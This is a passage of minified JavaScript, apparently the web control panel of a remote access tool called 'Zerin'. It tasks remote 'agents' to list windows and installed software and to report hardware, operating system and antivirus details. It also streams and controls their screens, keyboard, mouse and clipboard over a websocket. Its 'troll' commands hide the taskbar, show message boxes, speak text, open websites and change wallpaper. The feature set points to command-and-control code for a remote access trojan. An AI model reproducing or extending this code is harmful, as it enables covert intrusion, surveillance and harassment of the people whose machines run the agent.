v>=b&&(h.current&&clearInterval(h.current),h.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(y){l(y instanceof Error?y.message:"Failed to send command"),a(!1)}}},[e,m]),g=d?n.filter(y=>{const v=d.toLowerCase();return y.title.toLowerCase().includes(v)||y.class.toLowerCase().includes(v)||String(y.pid).includes(v)||String(y.hwnd).includes(v)}):n;return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:x,disabled:m||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r bg-zerin-accent text-white hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:y=>f(y.target.value),placeholder:"Filter windows...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r text-xs text-zerin-text placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),m&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?g.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[100px]",children:"HWND"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[80px]",children:"PID"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Title"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[200px]",children:"Class"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:g.map((y,v)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-accent",children:y.hwnd}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:y.pid}),s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text truncate max-w-[400px]",children:y.title}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted truncate",children:y.class})]},`${y.hwnd}-${v}`))})]})}),s.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[g.length," window",g.length!==1?"s":""]})]}):c&&n.length===0?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No visible windows found"}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list visible windows on the agent"})]})})]})}function EU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),[m,h]=p.useState("name"),[x,g]=p.useState("asc"),y=t==="dead",v=p.useRef(null);p.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=p.useCallback(async()=>{if(!y){a(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:N}=await Ce(e,{command:"installed_apps"});u(!0);let z=0;const O=30;v.current=setInterval(async()=>{var _;z++;try{const P=(_=(await Rn(e)).results)==null?void 0:_.find(R=>R.task_id===N);if(P){if(v.current&&clearInterval(v.current),v.current=null,a(!1),P.error){l(P.error);return}if(P.output)try{const R=JSON.parse(P.output);r(R)}catch{l("Failed to parse installed apps data")}}else z>=O&&(v.current&&clearInterval(v.current),v.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(N){l(N instanceof Error?N.message:"Failed to send command"),a(!1)}}},[e,y]);function w(N){m===N?g(z=>z==="asc"?"desc":"asc"):(h(N),g("asc"))}const k=[...d?n.filter(N=>{const z=d.toLowerCase();return N.name.toLowerCase().includes(z)||N.version.toLowerCase().includes(z)||N.publisher.toLowerCase().includes(z)}):n].sort((N,z)=>{const O=N[m]||"",_=z[m]||"",T=O.localeCompare(_,void 0,{sensitivity:"base"});return x==="asc"?T:-T}),S=({col:N})=>m!==N?null:x==="asc"?s.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):s.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})});return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r bg-zerin-accent text-white hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:N=>f(N.target.value),placeholder:"Filter apps...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r text-xs text-zerin-text placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?k.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsxs("th",{onClick:()=>w("name"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text",children:["Name ",s.jsx(S,{col:"name"})]}),s.jsxs("th",{onClick:()=>w("version"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[140px]",children:["Version ",s.jsx(S,{col:"version"})]}),s.jsxs("th",{onClick:()=>w("publisher"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[200px]",children:["Publisher ",s.jsx(S,{col:"publisher"})]}),s.jsxs("th",{onClick:()=>w("install_date"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[120px]",children:["Installed ",s.jsx(S,{col:"install_date"})]})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:k.map((N,z)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text",children:N.name}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:N.version||"-"}),s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text-muted truncate",children:N.publisher||"-"}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted",children:N.install_date||"-"})]},`${N.name}-${z}`))})]})}),s.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[k.length," application",k.length!==1?"s":""]})]}):c&&n.length===0?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No installed applications found"}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 7.5l-.625 10.632a2.25 2.25 0 01-2.247 2.118H6.622a2.25 2.25 0 01-2.247-2.118L3.75 7.5M10 11.25h4M3.375 7.5h17.25c.621 0 1.125-.504 1.125-1.125v-1.5c0-.621-.504-1.125-1.125-1.125H3.375c-.621 0-1.125.504-1.125 1.125v1.5c0 .621.504 1.125 1.125 1.125z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list installed applications"})]})})]})}function AU({agentId:e,agentStatus:t}){const[n,r]=p.useState(null),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),d=t==="dead",f=p.useRef(null);p.useEffect(()=>()=>{f.current&&clearInterval(f.current)},[]);const m=p.useCallback(async()=>{if(!d){a(!0),l(""),r(null),f.current&&(clearInterval(f.current),f.current=null);try{const{task_id:h}=await Ce(e,{command:"specs"});u(!0);let x=0;const g=30;f.current=setInterval(async()=>{var y;x++;try{const b=(y=(await Rn(e)).results)==null?void 0:y.find(w=>w.task_id===h);if(b){if(f.current&&clearInterval(f.current),f.current=null,a(!1),b.error){l(b.error);return}if(b.output)try{const w=JSON.parse(b.output);r(w)}catch{l("Failed to parse system specs")}}else x>=g&&(f.current&&clearInterval(f.current),f.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(h){l(h instanceof Error?h.message:"Failed to send command"),a(!1)}}},[e,d]);return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:m,disabled:d||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r bg-zerin-accent text-white hover:bg-zerin-accent-hover\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),d&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n?s.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-3 gap-4",children:[s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8.25 3v1.5M4.5 8.25H3m18 0h-1.5M4.5 12H3m18 0h-1.5m-15 3.75H3m18 0h-1.5M8.25 19.5V21M12 3v1.5m0 15V21m3.75-18v1.5m0 15V21m-9-1.5h10.5a2.25 2.25 0 002.25-2.25V6.75a2.25 2.25 0 00-2.25-2.25H6.75A2.25 2.25 0 004.5 6.75v10.5a2.25 2.25 0 002.25 2.25z"})}),"Hardware"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[s.jsx(ki,{label:"CPU",value:n.cpu}),s.jsx(ki,{label:"Cores",value:`${n.cores_physical} physical / ${n.cores_logical} logical`}),s.jsx(ki,{label:"RAM",value:`${n.ram_total_gb.toFixed(1)} GB total / ${n.ram_available_gb.toFixed(1)} GB free`}),s.jsx(ki,{label:"GPU",value:n.gpu})]})]}),s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})}),"Storage"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[n.disks.map((h,x)=>s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center justify-between text-xs mb-1",children:[s.jsx("span",{className:"font-mono text-zerin-text",children:h.mount}),s.jsxs("span",{className:"text-zerin-text-muted",children:[(h.total_gb-h.free_gb).toFixed(1)," / ",h.total_gb.toFixed(1)," GB"]})]}),s.jsx("div",{className:"w-full h-2 bg-zerin-bg rounded-sm overflow-hidden",children:s.jsx("div",{className:`h-full transition-all ${h.used_pct>90?"bg-zerin-danger":h.used_pct>75?"bg-yellow-500":"bg-zerin-accent"}`,style:{width:`${Math.min(h.used_pct,100)}%`}})}),s.jsxs("div",{className:"text-right text-[10px] text-zerin-text-muted mt-0.5",children:[h.used_pct.toFixed(1),"% used"]})]},`${h.mount}-${x}`)),n.disks.length===0&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No disk info available"})]})]}),s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75L11.25 15 15 9.75m-3-7.036A11.959 11.959 0 013.598 6 11.99 11.99 0 003 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285z"})}),"Software"]})}),s.jsxs("div",{className:"p-4 space-y-3",children:[s.jsx(ki,{label:"OS",value:n.os}),s.jsx(ki,{label:"AV",value:n.av}),s.jsx(ki,{label:"Uptime",value:`${n.uptime_days}d ${n.uptime_hours}h ${n.uptime_minutes}m`})]})]})]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to collect system specifications"})]})})]})}function ki({label:e,value:t}){return s.jsxs("div",{children:[s.jsx("p",{className:"text-zerin-text-muted text-[10px] uppercase tracking-wider mb-0.5",children:e}),s.jsx("p",{className:"text-zerin-text text-sm",children:t})]})}function _U(e,t,n){if(t+8>n)return{cols:0,rows:0,cursorX:0,cursorY:0,numDirty:0,tiles:[]};let r=t;const i=e.getUint8(r);r+=1;const a=e.getUint8(r);r+=1;const o=e.getUint16(r,!0);r+=2;const l=e.getUint16(r,!0);r+=2;const c=e.getUint16(r,!0);r+=2;const u=[];for(let d=0;d(_.current=window.setInterval(()=>{const Y=O.current;u(ee=>ee.fps===Y.fps&&ee.frameCount===Y.frameCount&&ee.dirtyTiles===Y.dirtyTiles&&ee.totalTiles===Y.totalTiles?ee:{fps:Y.fps,frameCount:Y.frameCount,width:Y.width,height:Y.height,lastFrameMs:Y.lastFrameMs,dirtyTiles:Y.dirtyTiles,totalTiles:Y.totalTiles})},500),()=>{_.current&&clearInterval(_.current)}),[]);const V=p.useCallback((Y,ee)=>{h.current||(h.current=document.createElement("canvas"));const C=h.current;return(C.width!==Y||C.height!==ee)&&(C.width=Y,C.height=ee,x.current=null),x.current||(x.current=C.getContext("2d",{willReadFrequently:!1})),{canvas:C,ctx:x.current}},[]),$=p.useRef(new ArrayBuffer(5)),L=p.useRef(new DataView($.current)),W=p.useCallback(Y=>{var ee;((ee=i.current)==null?void 0:ee.readyState)===WebSocket.OPEN&&!d.current&&i.current.send(Y)},[]),B=p.useMemo(()=>({sendMouseMove:(Y,ee)=>{const C=L.current;C.setUint8(0,1),C.setUint16(1,Y,!0),C.setUint16(3,ee,!0),W($.current)},sendMouseButton:(Y,ee,C,E)=>{const X=new ArrayBuffer(7),I=new DataView(X);I.setUint8(0,2),I.setUint8(1,Y),I.setUint8(2,ee),I.setUint16(3,C,!0),I.setUint16(5,E,!0),W(X)},sendMouseScroll:(Y,ee,C)=>{const E=new ArrayBuffer(7),X=new DataView(E);X.setUint8(0,3),X.setInt16(1,Y,!0),X.setUint16(3,ee,!0),X.setUint16(5,C,!0),W(E)},sendKey:(Y,ee,C)=>{const E=new ArrayBuffer(8),X=new DataView(E);X.setUint8(0,4),X.setUint8(1,Y),X.setUint16(2,ee,!0),X.setUint32(4,C,!0),W(E)},sendClipboard:Y=>{const ee=new TextEncoder().encode(Y),C=new ArrayBuffer(5+ee.length),E=new DataView(C);E.setUint8(0,5),E.setUint32(1,ee.length,!0),new Uint8Array(C,5).set(ee),W(C)},setQuality:Y=>{R.current=Y;const ee=new ArrayBuffer(3),C=new DataView(ee);C.setUint8(0,6),C.setUint8(1,1),C.setUint8(2,Y),W(ee)},setViewOnly:Y=>{d.current=Y},sendControl:(Y,ee)=>{const C=new ArrayBuffer(3),E=new DataView(C);E.setUint8(0,6),E.setUint8(1,Y),E.setUint8(2,ee),W(C)}}),[W]),U=p.useCallback(()=>{if(!x2||f.current)return;const Y=new Worker(new URL("/assets/vnc-decode.worker-EPE-JCx4.js",import.meta.url),{type:"module"});Y.onmessage=ee=>{if(ee.data.type==="frame"){const{bitmap:C,width:E,height:X,cursorX:I,cursorY:ne}=ee.data;m.current(C,E,X,I,ne)}},f.current=Y},[]),F=p.useCallback(()=>{f.current&&(f.current.terminate(),f.current=null)},[]),H=p.useCallback(()=>{if(x2||b.current!==null)return;const Y=()=>{const ee=y.current,C=g.current,E=w.current;if((ee.length>0||C.length>0)&&E){const{canvas:X,ctx:I}=V(E.width,E.height);for(const ne of ee)I.fillStyle=`rgb(${ne.r},${ne.g},${ne.b})`,I.fillRect(ne.col*ne.tileSize,ne.row*ne.tileSize,ne.tileSize,ne.tileSize);for(const ne of C)I.drawImage(ne.bitmap,ne.col*ne.tileSize,ne.row*ne.tileSize),ne.bitmap.close();y.current=[],g.current=[],m.current(X,E.width,E.height,E.cursorX,E.cursorY)}b.current=requestAnimationFrame(Y)};b.current=requestAnimationFrame(Y)},[V]),G=p.useCallback(()=>{b.current!==null&&(cancelAnimationFrame(b.current),b.current=null);for(const Y of g.current)Y.bitmap.close();g.current=[],y.current=[]},[]),re=p.useCallback(()=>{if(T.current!==null)return;const Y=64*1024;T.current=window.setInterval(()=>{const ee=i.current;if(!(!ee||ee.readyState!==WebSocket.OPEN)){if(ee.bufferedAmount>Y&&!P.current){P.current=!0;const C=new ArrayBuffer(3),E=new DataView(C);E.setUint8(0,6),E.setUint8(1,1),E.setUint8(2,30),W(C)}else if(ee.bufferedAmount<=Y/2&&P.current){P.current=!1;const C=new ArrayBuffer(3),E=new DataView(C);E.setUint8(0,6),E.setUint8(1,1),E.setUint8(2,R.current),W(C)}}},250)},[W]),oe=p.useCallback(()=>{T.current!==null&&(clearInterval(T.current),T.current=null),P.current=!1},[]),he=p.useCallback(()=>{if(i.current)return;const Y=et();if(!Y)return;const C=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/vnc/${e}/ws?mode=${t}&token=${encodeURIComponent(Y)}`,E=new WebSocket(C);E.binaryType="arraybuffer",i.current=E,E.onopen=()=>{l(!0),U(),H(),re()},E.onmessage=X=>{if(!(X.data instanceof ArrayBuffer))return;const I=new DataView(X.data);if(X.data.byteLength<13)return;const ne=I.getUint16(0,!0),me=I.getUint16(2,!0),ve=Number(I.getBigUint64(4,!0)),Ee=I.getUint8(12),D=performance.now(),ce=S.current,K=N.current%k;ce[K]=D,N.current=K+1,z.current1){const Q=ce[(K+1-le+k)%k],ue=(D-Q)/1e3;ue>0&&(J=Math.round((le-1)/ue))}const q=O.current;if(q.frameCount++,q.fps=J,q.width=ne,q.height=me,q.lastFrameMs=ve,Ee===1){const Q=_U(I,13,X.data.byteLength);q.dirtyTiles=Q.numDirty,q.totalTiles=Q.cols*Q.rows;const ue=Q.cols>0?Math.ceil(ne/Q.cols):128,A=Q.tiles.filter(te=>te.codec===1),se=Q.tiles.filter(te=>te.codec===2);if(f.current){const te=[],de=A.map(Ne=>{const Dr=Ne.data.buffer.slice(Ne.data.byteOffset,Ne.data.byteOffset+Ne.data.byteLength);return te.push(Dr),{col:Ne.col,row:Ne.row,data:Dr}}),ge=se.map(Ne=>({col:Ne.col,row:Ne.row,r:Ne.data[0],g:Ne.data[1],b:Ne.data[2]}));f.current.postMessage({type:"tiles",tiles:de,solids:ge,width:ne,height:me,cursorX:Q.cursorX,cursorY:Q.cursorY,tileSize:ue},te)}else{w.current={width:ne,height:me,cursorX:Q.cursorX,cursorY:Q.cursorY};for(const te of se)y.current.push({col:te.col,row:te.row,r:te.data[0],g:te.data[1],b:te.data[2],tileSize:ue});if(A.length>0){if(j.current){v.current||(v.current=[]);for(const de of A){const ge=v.current.findIndex(Ne=>Ne.col===de.col&&Ne.row===de.row);ge>=0?v.current[ge]={...de,tileSize:ue}:v.current.push({...de,tileSize:ue})}return}j.current=!0;let te=A.map(de=>({...de,tileSize:ue}));if(v.current&&v.current.length>0){for(const de of v.current)te.findIndex(Ne=>Ne.col===de.col&&Ne.row===de.row)<0&&te.push(de);v.current=[]}Promise.all(te.map(de=>{const ge=new Blob([de.data],{type:"image/jpeg"});return createImageBitmap(ge).then(Ne=>({bitmap:Ne,col:de.col,row:de.row,tileSize:de.tileSize}))})).then(de=>{j.current=!1;for(const ge of de)g.current.push(ge)}).catch(()=>{j.current=!1})}}}else{q.dirtyTiles=0,q.totalTiles=0,a.current&&URL.revokeObjectURL(a.current);const Q=new Uint8Array(X.data,13),ue=new Blob([Q],{type:"image/jpeg"}),A=URL.createObjectURL(ue);a.current=A,m.current(A,ne,me)}},E.onclose=()=>{l(!1),i.current=null,F(),G(),oe(),r==null||r()},E.onerror=()=>{E.close()}},[e,t,r,U,F,H,G,re,oe]),pe=p.useCallback(()=>{i.current&&(i.current.close(),i.current=null),a.current&&(URL.revokeObjectURL(a.current),a.current=null),F(),G(),oe(),l(!1)},[F,G,oe]);return p.useEffect(()=>()=>{i.current&&(i.current.close(),i.current=null),a.current&&URL.revokeObjectURL(a.current),F(),G(),oe()},[F,G,oe]),{isConnected:o,stats:c,controls:B,connect:he,disconnect:pe}}function OU({agentId:e}){const t=p.useRef(null),n=p.useRef(null),[r,i]=p.useState(!1),a=p.useRef(!1),[o,l]=p.useState({w:0,h:0}),[c,u]=p.useState(!0),[d,f]=p.useState(null),[m,h]=p.useState(!1),[x,g]=p.useState("Zerin"),[y,v]=p.useState(""),[b,w]=p.useState(!1),[j,k]=p.useState(""),[S,N]=p.useState(!1),[z,O]=p.useState("https://"),[_,T]=p.useState(!1),[P,R]=p.useState(""),[V,$]=p.useState(!1),[L,W]=p.useState(!1),[B,U]=p.useState(!1),[F,H]=p.useState(!1),[G,re]=p.useState(!1),[oe,he]=p.useState(!1),pe=(J,le="ok")=>{f({text:J,type:le}),setTimeout(()=>f(null),2500)},Y=p.useCallback((J,le,q)=>{a.current||(a.current=!0,i(!0)),l({w:le,h:q});const Q=t.current;if(!Q)return;const ue=Q.getContext("2d");if(ue)if((Q.width!==le||Q.height!==q)&&(Q.width=le,Q.height=q),typeof J=="string"){const A=n.current||new Image;n.current=A,A.onload=()=>ue.drawImage(A,0,0),A.src=J}else J instanceof ImageBitmap?(ue.drawImage(J,0,0),J.close()):ue.drawImage(J,0,0)},[]),{isConnected:ee,stats:C,connect:E}=cv({agentId:e,onFrame:Y}),[X,I]=p.useState(!1);p.useEffect(()=>{!e||!X||mx(e).then(()=>E()).catch(()=>{E()})},[e,E,X]);const ne=async(J,le)=>{try{await Ce(e,{command:J,args:le}),pe(`Sent: ${J}`)}catch{pe(`Failed: ${J}`,"err")}},me=()=>{const J=!c;u(J),ne("troll_taskbar",[J?"show":"hide"])},ve=(J,le,q)=>{const Q=!J;le(Q),ne(q,[Q?"on":"off"])},Ee=()=>{y.trim()&&(ne("troll_msgbox",[y,x||"Zerin"]),h(!1),v(""),g("Zerin"))},D=()=>{j.trim()&&(ne("troll_tts",[j]),w(!1),k(""))},ce=()=>{if(!(!z.trim()||z==="https://")){if(!/^https?:\/\//i.test(z)){pe("URL must start with http:// or https://","err");return}ne("troll_website",[z]),N(!1),O("https://")}},K=()=>{P.trim()&&(ne("troll_wallpaper",[P]),T(!1),R(""))};return s.jsxs("div",{className:"flex flex-col h-full overflow-hidden",children:[s.jsxs("div",{className:"flex items-center gap-3 px-5 py-2.5 shrink-0 border-b border-[#1a1a20]",style:{background:"linear-gradient(180deg, #111115 0%, #0d0d11 